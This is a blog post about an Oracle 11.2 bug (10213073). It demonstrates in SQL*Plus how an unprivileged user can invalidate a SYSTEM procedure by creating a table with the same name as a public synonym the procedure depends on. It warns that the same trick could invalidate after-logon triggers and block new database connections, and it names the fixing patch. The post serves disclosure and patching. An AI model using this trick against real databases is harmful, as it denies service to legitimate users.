Bombing a database with Public Synonym

Let’s imagine we have some procedure which depends in public synonym, say – USER_TABLES:

SQL> create or replace procedure system.tstproc
is
  cnt number;
begin
  select count(table_name) into cnt
  from user_tables ;
end;
/

Procedure created.

SQL> select object_name, object_type, status, last_ddl_time from dba_objects where object_name = 'TSTPROC';

OBJECT_NAME      OBJECT_TYPE         STATUS  LAST_DDL_TIME
---------------- ------------------- ------- -------------------
TSTPROC          PROCEDURE           VALID   2012.08.29:22:28:16

SQL> grant execute on system.tstproc to scott;

Grant succeeded.

SQL>

Connect as scott and check that it depends on the synonym:

SQL> select * from all_dependencies
  2  where name = 'TSTPROC'
  3  and referenced_type = 'SYNONYM';

OWNER        NAME         TYPE               REFERENCED_OWNER               REFERENCED_NAME  REFERENCED_TYPE    REFERENCED_LINK_NA DEPE
------------ ------------ ------------------ ------------------------------ ---------------- ------------------ ------------------ ----
SYSTEM       TSTPROC      PROCEDURE          PUBLIC                         USER_TABLES      SYNONYM                               HARD

SQL>

And do the trick (as scott)

SQL> create table user_tables as select 1 as N from dual;

Table created.

SQL> select object_name, status, last_ddl_time from all_objects where object_name = 'TSTPROC';

OBJECT_NAME      OBJECT_TYPE         STATUS  LAST_DDL_TIME
---------------- ------------------- ------- -------------------
TSTPROC          PROCEDURE           INVALID 2012.08.29:22:28:16

SQL> exec system.tstproc;

PL/SQL procedure successfully completed.

SQL> select object_name, status, last_ddl_time from all_objects where object_name = 'TSTPROC';

OBJECT_NAME      OBJECT_TYPE         STATUS  LAST_DDL_TIME
---------------- ------------------- ------- -------------------
TSTPROC          PROCEDURE           VALID   2012.08.29:22:33:06

SQL>

The procedure becomes invalid while creating object with the same name as public synonym on which procedure depends. It successfully gets valid next time the procedure called.
This behavior documented as Bug 10213073: INVALIDATION OF OBJECT WHEN OBJECT IS CREATED WITH SAME NAME AS PUBLIC SYNONYM. Patch exists for all PSUs of 11.2.0.2 and is online-applicable for Solaris and Linux (however, in my test only offline patching fixed this behavior for Solaris SPARC 64).

And the main thing. If a production database has kind of ‘after logon’ trigger or similar (which is very popular as a preventive solution for restricting users access to production schemas) and it depends on any of the public synonyms (dba_tab_privs, ora_sysevent etc), a tough could take the trigger into INVALID state and the database will become unavailable for new connections for some time – the trigger must be compiled manually by DBA.

UPD: The f ix for Bug 10213073 has been included into the patch 14275621 which is an October 2012 PSU (PSU8) so anyone who follows Oracle’s patching policy should be out of attack now. Don’t you?

Advertisements
Posted in Oracle, trigger

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Oracle ... as usual

Oracle by Laurent Leturgez

Carlos Sierra's Tools and Tips

Tools and Tips for Oracle Performance and SQL Tuning

xt-r.com

Just another oracle developer

Coskan's Approach to Oracle

What I learned about Oracle

Oracle Scratchpad

Just another Oracle weblog

Oleksandr Denysenko's Blog

be prepared for The Future...

%d bloggers like this: